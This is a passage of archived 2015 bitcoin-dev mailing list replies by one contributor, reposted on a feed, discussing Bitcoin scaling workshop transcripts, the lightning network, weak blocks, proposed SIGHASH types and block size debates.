processed (lots of proposals appear in text, but review efforts are
sometimes "hidden" in corners of github pull request comments, for
example). As another example, the libsecp256k1 testing work reached a
level unseen except perhaps in the aerospace industry, but these sorts
of details are not apparent if you are reading bitcoin-dev archives.
It is very hard to listen to all ideas and find great ideas.
Sometimes, our time can be almost completely exhausted by evaluating
inefficient proposals, so it's not surprising that rough consensus
building could take time. I suspect we will see consensus moving in
positive directions around the proposals you have highlighted.
When Satoshi originally released the Bitcoin whitepaper, practically
everyone-- somehow with the exception of Hal Finney-- didn't look,
because the costs of evaluating cryptographic system proposals is so
high and everyone was jaded and burned out for the past umpteen
decades. (I have IRC logs from January 10th 2009 where I immediately
dismissed Bitcoin after I had seen its announcement on the
p2pfoundation mailing list, perhaps in retrospect I should not let
family tragedy so greatly impact my evaluation of proposals...). It's
hard to evaluate these proposals. Sometimes it may feel like random
proposals are review-resistant, or designed to burn our time up. But I
think this is more reflective of the simple fact that consensus takes
effort, and it's hard work, and this is to be expected in this sort of
system design.
Your email contains a good summary of recent scaling progress and of
efforts presented at the Hong Kong workshop. I like summaries. I have
previously recommended making more summaries and posting them to the
mailing list. In general, it would be good if developers were to write
summaries of recent work and efforts and post them to the bitcoin-dev
mailing list. BIP drafts are excellent. Long-term proposals are
excellent. Short-term coordination happens over IRC, and that makes
sense to me. But I would point out that many of the developments even
from, say, the Montreal workshop were notably absent from the mailing
list. Unless someone was paying close attention, they wouldn't have
noticed some of those efforts which, in some cases, haven't been
mentioned since. I suspect most of this is a matter of attention,
review and keeping track of loose ends, which can be admittedly
difficult.
Short (or even long) summaries in emails are helpful because they
increase the ability of the community to coordinate and figure out
what's going on. Often I will write an email that summarizes some
content simply because I estimate that I am going to forget the
details in the near future, and if I am going to forget them then it
seems likely that others might.... This creates a broad base of
proposals and content to build from when we're doing development work
in the future, making for a much richer community as a consequence.
The contributions from the scalingbitcoin.org workshops are a welcome
addition, and the proposal outlined in the above email contains a good
summary of recent progress. We need more of this sort of synthesis,
we're richer for it. I am excitedly looking forward to the impending
onslaught of Bitcoin progress.
- Bryan
http://heybryan.org/
1 512 203 0507

2023-06-07 17:45:32

- reply

📅 Original date posted:2015-12-07
📝 Original message:Hey while I was listening to the talks I also typed most of the words down.
Here are some talks from the Hong Kong workshop:
http://diyhpl.us/wiki/transcripts/scalingbitcoin/hong-kong/bip99-and-uncontroversial-hard-forks/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/hong-kong/fungibility-and-scalability/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/hong-kong/zero-knowledge-proofs-for-bitcoin-scalability-and-beyond/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/hong-kong/security-assumptions/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/hong-kong/in-adversarial-environments-blockchains-dont-scale/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/hong-kong/why-miners-will-not-voluntarily-individually-produce-smaller-blocks/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/hong-kong/invertible-bloom-lookup-tables-and-weak-block-propagation-performance/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/hong-kong/bip101-block-propagation-data-from-testnet/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/hong-kong/segregated-witness-and-its-impact-on-scalability/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/hong-kong/overview-of-bips-necessary-for-lightning/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/hong-kong/network-topologies-and-their-scalability-implications-on-decentralized-off-chain-networks/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/hong-kong/a-bevy-of-block-size-proposals-bip100-bip102-and-more/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/hong-kong/a-flexible-limit-trading-subsidy-for-larger-blocks/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/hong-kong/validation-cost-metric/
Also, here are some talks from the Montreal workshop:
http://diyhpl.us/wiki/transcripts/scalingbitcoin/alternatives-to-block-size-as-aggregate-resource-limits/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/bitcoin-block-propagation-iblt-rusty-russell/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/bitcoin-failure-modes-and-the-role-of-the-lightning-network/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/bitcoin-load-spike-simulation/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/block-synchronization-time/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/coinscope-andrew-miller/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/competitive-fee-market-urgency/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/issues-impacting-block-size-proposals/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/overview-of-security-concerns/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/relay-network/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/reworking-bitcoin-core-p2p-code-for-robustness-and-event-driven/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/sharding-the-blockchain/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/transaction-fee-estimation/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/validation-costs/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/roundgroup-roundup-1/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/roundgroup-roundup-2/
These are not always exact transcripts because I am typing while I am
listening, thus there are mistakes including typos and listening errors, so
please keep this discrepancy in mind between what's said and what's typed.
- Bryan
http://heybryan.org/
1 512 203 0507
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20151207/0d5da746/attachment.html>

2023-06-07 17:45:12

- reply

📅 Original date posted:2015-11-24
📝 Original message:On Tue, Nov 24, 2015 at 11:34 AM, Chris Priest via bitcoin-dev <
bitcoin-dev at lists.linuxfoundation.org> wrote:
> **OP_CHECKWILDCARDSIGVERIFY**
Some (minor) discussion of this idea in -wizards earlier today starting
near near "09:50" (apologies for having no anchor links):
http://gnusha.org/bitcoin-wizards/2015-11-24.log
- Bryan
http://heybryan.org/
1 512 203 0507
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20151124/1cabe010/attachment.html>

2023-06-07 17:44:15

- reply

📅 Original date posted:2015-11-08
📝 Original message:On Sun, Nov 8, 2015 at 8:54 AM, Gavin Andresen via bitcoin-dev <
bitcoin-dev at lists.linuxfoundation.org> wrote:
> I'm very disappointed you don't mention the tradeoff at "the other end of
> the bathtub" -- Key-holder versus Validator decentralization balance
Gavin, could you please provide some clarity around the definition and
meaning of "key-holder [decentralization]"? Is this about the absolute
number of key-holders? or rather about the number of transactions (per unit
time?) that key-holders make? Both/other?
Anyone can generate a private key, and anyone can sign a transaction
spending to a new commitment. Child-pays-for-parent could be used when
transaction fees are too high. Perhaps more interesting would be something
like lightning network payment channels, where only the commitment
transaction needs to be in the blockchain history; does that count as
key-holder decentralization at all?
Also, consider the following scenario. Suppose there's a bunch of
merge-mined sidechains that are mainnet BTC-pegged, and these sidechains
are accessible by the lightning network protocol (multi-chain payments).
Suppose also that on the different sidechains there are different
transaction fee trends because of various technical differences underlying
consensus or a different blockchain implementation (who knows). When
someone routes payments to one of those different sidechains, because UTXOs
could be cheaper over there due to different fee pressures, ... would that
count as key-holder decentralization? Some of this scenario is described
here, although not in more detail:
https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2015-September/010909.html
Previously there has been the suggestion to use BTC-pegged merge-mined
chains to handle excess transaction demand:
http://diyhpl.us/wiki/transcripts/scalingbitcoin/sharding-the-blockchain/
https://github.com/vbuterin/scalability_paper/blob/master/scalability.pdf
http://lists.linuxfoundation.org/pipermail/bitcoin-dev/2014-March/004797.html
I notice that in the Poon file there is a concern regarding "only 10 key
holders", but how does that scenario really work? I think the actual
scenario they mean to describe is "there's always a transaction backlog
where the fees are so high that lower fee transactions can never get
confirmations". So, more specifically, the scenario would have to be
"lightning network exists and is working, and no lightning node can ever
route enough different payments to commit to the blockchain under any
circumstance". How would that be possible? Wouldn't most participants
prefer the relatively instantaneous transactions of lightning, even if they
can afford extremely high fees? Seems like the settlements have all
necessary reason to actually happen, don't know what your concern is,
please send help.
I don't mean to put words in anyone's mouth, everything above is mostly
asking for clarification around definitions. Some of these questions are
repeats from:
http://gnusha.org/bitcoin-wizards/2015-11-08.log
Thank you.
- Bryan
http://heybryan.org/
1 512 203 0507
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20151108/e90b51a1/attachment-0001.html>

2023-06-07 17:43:27

- reply

📅 Original date posted:2015-10-14
📝 Original message:On Wed, Oct 14, 2015 at 1:02 PM, Emin Gün Sirer
<bitcoin-dev at lists.linuxfoundation.org> wrote:
> while the whitepaper has all the nitty gritty details:
> http://arxiv.org/abs/1510.02037
Taking reward compensation back by fraud proofs is not enough to fix
the problems associated with double spending (such as, everyone has to
wait for the "real" confirmations instead of the "possibly
double-spend" confirmations). Some of this was discussed in -wizards
recently:
http://gnusha.org/bitcoin-wizards/2015-09-19.log
For a system based entirely on fraud proofs and threat of fraud
proofs, see fidelity-bonded ledgers:
http://lists.linuxfoundation.org/pipermail/bitcoin-dev/2013-February/002189.html
https://bitcointalk.org/index.php?topic=146307.0
- Bryan
http://heybryan.org/
1 512 203 0507

2023-06-07 17:43:25

- reply

📅 Original date posted:2015-10-14
📝 Original message:On Wed, Oct 14, 2015 at 10:19 AM, Paul Sztorc via bitcoin-dev
<bitcoin-dev at lists.linuxfoundation.org> wrote:
> However, the two are also perfect compliments, as LN transactions cannot take place at all without periodic on-chain transactions.
Additionally, lightning network hot wallets are not an ideal place to
store large quantities of BTC and users that don't expect to be
actively using LN should in general prefer confirmed UTXOs for
long-term cold storage. So far the guess that I have seen floating
around is that LN usage will at first be restricted to very tiny
amounts of BTC in tiny hot wallets, since nobody is particularly
interested in running large hot wallets.
- Bryan
http://heybryan.org/
1 512 203 0507

2023-06-07 17:41:05

- reply

📅 Original date posted:2015-09-23
📝 Original message:On Wed, Sep 23, 2015 at 10:43 AM, Gavin Andresen via bitcoin-dev <
bitcoin-dev at lists.linuxfoundation.org> wrote:
> First: the idea of 'weak blocks' (hat tip to Rusty for the term)
Here are some other "weak blocks" and "near blocks" proposals or mentions:
https://bitcointalk.org/index.php?topic=179598.0
http://lists.linuxfoundation.org/pipermail/bitcoin-dev/2013-July/002976.html
http://lists.linuxfoundation.org/pipermail/bitcoin-dev/2013-September/003275.html
https://bitcointalk.org/index.php?topic=673415.msg7658481#msg7658481
http://gnusha.org/bitcoin-wizards/2015-08-20.log
more recently:
http://gnusha.org/bitcoin-wizards/2015-09-20.log
http://diyhpl.us/wiki/transcripts/scalingbitcoin/roundgroup-roundup-1/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/bitcoin-block-propagation-iblt-rusty-russell/
- Bryan
http://heybryan.org/
1 512 203 0507
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20150923/451af1ac/attachment.html>

2023-06-07 17:39:35

- reply

📅 Original date posted:2015-09-03
📝 Original message:On Thu, Sep 3, 2015 at 7:30 PM, Andy Chase via bitcoin-dev
<bitcoin-dev at lists.linuxfoundation.org> wrote:
> I wrote the BIP mostly to stir the pot on ideas of governance
Some quick comments:
I have some objects that I am not ready to put into words, but I do
think there are easily some major objections to committee design. If I
vanish and never respond with my objections, perhaps there's an IETF
RFC about this already....
Something that may mitigate my possible objections would be some
mandatory requirement about ecosystem echo-chambers making many
attempts and efforts at steelman representations of alternative
viewpoints. Understanding objections at a fundamental level, enough to
make strong steelman statements, is very important to ensure that the
competing opinions are not censored from consideration. Pathological
integration and internalization of these steelman arguments can be
very useful, even if the process looks unusual.
Your process does not have to replace any particular BIP process
as-is, but rather could be an alternative that proceeds on its own
perhaps indefinitely without replacement. I don't think too many BIP
processes are necessarily incompatible except by namespace collision.
https://gist.github.com/andychase/dddb83c294295879308b#gistcomment-1566432
- Bryan
http://heybryan.org/
1 512 203 0507

2023-06-07 17:39:31

- reply

📅 Original date posted:2015-09-03
📝 Original message:Here is a brief overview of a way to use something like the lightning
network, or another multi-hop payment channel network, to handle more
transactions per second.
These ideas were mentioned yesterday in #bitcoin-wizards and my email
does not significantly elaborate on any of it (search for
"cross-chain"):
http://gnusha.org/bitcoin-wizards/2015-09-01.log
http://gnusha.org/bitcoin-wizards/2015-09-02.log
Mailing list discussion of this can be found at [6] and on the forum at [7].
Summary
=======
Payment channel network nodes could operate on multiple chains or
ledgers, especially if those ledgers are 2-way-peg compatible with
BTC. Payment network users may have a variety of different preferences
about security models or fees or any other number of system
properties, and this method can be more accomodating than only
offering mainnet UTXOs.
Terminology
===========
During the IRC monologue I was using the word "hub" and "cross-chain
hubs" to describe a payment channel network node. Rusty Russell later
brought to my attention a good argument from Joseph Poon to prefer to
call them nodes, namely that "hub" implies centralization which isn't
really necessary to implicate in these designs. So I'll stick with
"node".
Vague requirements and scenario speculation
===========================================
- bip70-like payment-channel-compatible wallet-to-wallet communication
protocol; useful for sender and receiver to negotiate how payment
should be routed over the payment channel network.
- assume existence of other ledgers with working 2-way-peg.
- lightning network[1], amiko pay[2], or some other payment channel
network with multi-hop payment routing
- (at least some) payment channel nodes which access more than one
blockchain or ledger system
- can be more than two chains or ledgers that the node opens channels
on or operate on (octoledger nodes?)
- node can eventually setup 2-way-pegs through moxiebox code embedded
in some opcode for a specification of an alternative federated ledger
(just kidding, there be dragons here)
Implication: Chain or ledger UTXO ambivalence
=============================================
The sender (receiver) doesn't need to be concerned with which chain
the receiver (sender) wishes to transact with, as long as both parties
have wallets that can communicate with each other for fee negotiation
while payment channel routing happens.
Implication: UTXO preferences informed by fee pressures
=======================================================
An earlier identified implication by others has been that transaction
fee trends may influence when payment channel users choose to settle
on the main chain, because fees may be too high to make the tradeoffs
worthwhile for the user.
Transaction fee pressure on the bitcoin mainnet chain may influence
receivers, otherwise busy negotiating their payment channel payments,
to negotiate receipt of their UTXOs on alternative chains which might
be charging lower fees. Users that wish to settle to a ledger for a
lower fee can do so without paying for main chain transaction
prioritization.
(Concerns about market exchange rate of BTC even with the presence of
2-way-pegs could be alleviated by multi-chain nodes that practice
arbitrage. However, perhaps the financial markets will not bother
assigning different values to BTC-compatible UTXOs on different
sidechains? High mainnet fees may be reflected in market price
differences, maybe....)
Minor lightning network protocol change
=======================================
Add chain parameter to onion routing protocol message. Receipt of this
message was acknowledged by Rusty Russell yesterday. However, this
change alone may be insufficient to enable this described usage. Also
while I hope that onion routing continues to be the direction there's
no guarantee of course.
Other: Centralized ledgers
==========================
Centralized ledger operators, such as companies running spot
exchanges, could run payment channel nodes, allowing their users to
deposit and withdraw funds "immediately" subject to whether the
service provider is operating anything resembling a hot wallet. A
centralized ledger operator could be considered a valid multi-chain
destination in the above-mentioned imaginary lightning-compatible
payment protocol. Payment channel network programmers should not be
burdened with a thousand different standards for this ability, and
instead there should be an attempt at general compatibility, although
trustless implementations should be preferred if available.
Luke-Jr mentions that the same (currently imaginary) payment protocol
could also provide for user-to-user transfers on the same centralized
services, skipping the payment channels entirely.
Other
=====
Here are some things that I have been meaning to look at, but haven't looked at:
- can we do probabilistic payments[3][4] over payment channels? does
it require all payments to be probabilistic payments?
- is lightning network + multi-chain compatible with terminating on a
chain like zerocash? or inside coinjoin/coinshuffle schemes? mixing
implications?
- are payment channel networks compatible with confidential
transactions[5], and what about in the multi-chain regime?
- should work if 2-way-peg between multiple assets on same chain, like
in elements alpha?
References
==========
[1] http://lightning.network/lightning-network-paper.pdf
[2] https://github.com/cornwarecjp/amiko-pay
[3] http://lists.linuxfoundation.org/pipermail/bitcoin-dev/2013-May/002564.html
[4] https://bitcointalk.org/index.php?topic=62558.0
[5] https://bitcointalk.org/index.php?topic=1085273.0
[6] http://lists.linuxfoundation.org/pipermail/bitcoin-dev/2015-August/010797.html
[7] https://bitcointalk.org/index.php?topic=1170303.0
- Bryan
http://heybryan.org/
1 512 203 0507

2023-06-07 17:39:00

- reply

📅 Original date posted:2015-09-01
📝 Original message:On Tue, Sep 1, 2015 at 8:30 AM, Ahmed Zsales via bitcoin-dev <
bitcoin-dev at lists.linuxfoundation.org> wrote:
> We believe the network requires a block chain licence
Here is a previous discussion of this topic (2012):
https://bitcointalk.org/index.php?topic=117663.0
- Bryan
http://heybryan.org/
1 512 203 0507
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20150901/5e6b4926/attachment.html>

2023-06-07 17:38:43

- reply

📅 Original date posted:2015-08-30
📝 Original message:Here is a short review of previously-proposed and exotic SIGHASH types.
SIGHASH_MULTIPLE
SIGHASH_LIST:
https://bitcointalk.org/index.php?topic=252960.0
https://bitcointalk.org/index.php?topic=212555.0
SIGHASH_MULTIPLE
SIGHASH_WITHINPUTVALUE:
https://bitcointalk.org/index.php?topic=191003.0
SIGHASH_WITHINPUTVALUE:
http://lists.linuxfoundation.org/pipermail/bitcoin-dev/2015-January/007185.html
SIGHASH_NOINPUT:
https://github.com/Roasbeef/bitcoin/commit/4b3c3f1baf7985208ceb6887261ee150ab6e3328
https://github.com/Roasbeef/btcd/commit/67830e506fa135d5239177340918cea39909e6a4
http://lightning.network/lightning-network-paper.pdf
SIGHASH_NORMALIZED
SIGHASH_NOINPUT:
http://diyhpl.us/wiki/transcripts/sf-bitcoin-meetup/2015-02-23-scaling-bitcoin-to-billions-of-transactions-per-day/
SIGHASH_WITHOUT_PREV_SCRIPTPUBKEY
SIGHASH_WITHOUT_PREV_VALUE
SIGHASH_WITHOUT_INPUT_TXID
SIGHASH_WITHOUT_INPUT_INDEX
SIGHASH_WITHOUT_INPUT_SEQUENCE
SIGHASH_WITHOUT_OUTPUT_SCRIPTPUBKEY
SIGHASH_WITHOUT_OUTPUT_VALUE
SIGHASH_WITHOUT_INPUTS
SIGHASH_WITHOUT_OUTPUTS
SIGHASH_WITHOUT_INPUT_SELF
SIGHASH_WITHOUT_OUTPUT_SELF
SIGHASH_WITHOUT_TX_VERSION
SIGHASH_WITHOUT_TX_LOCKTIME
SIGHASH_SIGN_STACK_ELEMENT:
https://github.com/scmorse/bitcoin-misc/blob/master/sighash_proposal.md
Similarly, petertodd has asked for a SIGHASH_DONT_SIGN_TXID before to
make OP_CODESEPARATOR more useful.
SIGHASH_DANGEROUSLYPROMISCUOUS:
http://gnusha.org/bitcoin-wizards/2015-04-17.log
SIGHASH_DOUBLE:
06:41 < lorenzoasr> maybe a SIGHASH_DOUBLE that signs INPUT[i] and
OUTPUT[i] and OUTPUT[i+1] could be very helpful
Some sighash types briefly proposed by petertodd in #bitcoin-dev:
SIGHASH_NLOCKTIMEVERIFY
SIGHASH_SUM (for merging multiple payments)
And finally one from wumpus (#bitcoin-dev):
SIGHASH_UNICORN
- Bryan
http://heybryan.org/
1 512 203 0507

2023-06-07 17:37:06

- reply

📅 Original date posted:2015-08-19
📝 Original message:On Wed, Aug 19, 2015 at 3:59 AM, Jorge Timón <
bitcoin-dev at lists.linuxfoundation.org> wrote:
> Apparently that existed already: http://sourceforge.net/p/bitcoin/mailman/
> But technical people run away from noise while non-technical people
> chase them wherever their voices sounds more loud.
>
FWIW, and I mentioned this opinion in #bitcoin-dev on IRC, but I am
perfectly fine with receiving everything through a single mailing list. I
used to read the Wikipedia firehose of recent edits because I thought
that's how you were supposed to use the site. Edits per second eventually
reached beyond any reasonable estimate of human capacity and then I
realized what was going on. Any sort of "glorious future" for bitcoin with
hundreds of millions of users will also see this problem for future
developers, even if only 0.1% of that population are money-interested
programmers then that's 100,000 programmers to work with. I would never
want to turn off this raw feed. Having said that, I am somewhat surprise
that nobody has taken to weekly summaries of research and development
activity. Summarizing recent work is a valuable task that others can engage
in just by reading the mailing list and aggregating multiple thoughts
together, similar to release notes. I was also expecting to see something
like "individual developer's summaries of things they have found
interesting over the past 30-90 days or past year" digging up arcane
details from the mailing list archives, or more infrequent summaries of the
other smaller batched review emails. Digest mode mailing list consumption
is often recommended to those who are uninterested in dealing with low
signal-to-noise, but I suspect that summarizing activity would be more
valuable for this community, especially for the different cognitive niches
that have developed.
- Bryan
http://heybryan.org/
1 512 203 0507
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20150819/d8899f5a/attachment.html>

2023-06-07 17:35:13

- reply

📅 Original date posted:2015-08-15
📝 Original message:On Sat, Aug 15, 2015 at 3:36 PM, Milly Bitcoin via bitcoin-dev <
bitcoin-dev at lists.linuxfoundation.org> wrote:
> These are the people who used to run around saying that Bitcoin
> development is "decentralized" because anyone can fork the code and now
> many of the same people claim a fork will destroy everything.
You may be misremembering; nobody has ever disagreed that you can fork a
source code repository. Perhaps you are thinking instead about the concerns
regarding "asymmetric" rule incompatibilities?
- Bryan
http://heybryan.org/
1 512 203 0507
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20150815/7385744d/attachment-0001.html>

2023-06-07 17:33:44

- reply

📅 Original date posted:2015-08-11
📝 Original message:On Tue, Aug 11, 2015 at 1:46 PM, Michael Naber via bitcoin-dev
<bitcoin-dev at lists.linuxfoundation.org> wrote:
> Note that lightning / hub and spoke do not meet requirements for users
> wishing to participate in global consensus, because they are not global
> consensus networks, since all participating nodes are not aware of all
> transactions.
You don't need consensus on the lightning network because you are
using bitcoin consensus anyway. Commitment transactions are deep
enough in the blockchain history that removing that transaction from
the history is impractical. The remaining guarantees are ensured by
the properties of the scripts in the transaction. You don't need to
see all the transactions, but you do need to look at the transactions
you are given and draw conclusions based on the details to see whether
their commitments are valid or the setup wasn't broken.
- Bryan
http://heybryan.org/
1 512 203 0507

2023-06-07 17:33:36

- reply

📅 Original date posted:2015-08-07
📝 Original message:On Fri, Aug 7, 2015 at 1:17 PM, jl2012 via bitcoin-dev <
bitcoin-dev at lists.linuxfoundation.org> wrote:
> No, I'm not trolling. I really want someone to tell me why we
> should/shouldn't reduce the block size. Are we going to have more or less
> full nodes if we reduce the block size?
Some arguments have floated around that even in the absence of "causing an
increase in the number of full nodes", that a reduction of the max block
size might be beneficial for other reasons, such as bandwidth saturation
benefits. Also less time spent validating transactions because of the fewer
transactions.
- Bryan
http://heybryan.org/
1 512 203 0507
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20150807/564f5483/attachment.html>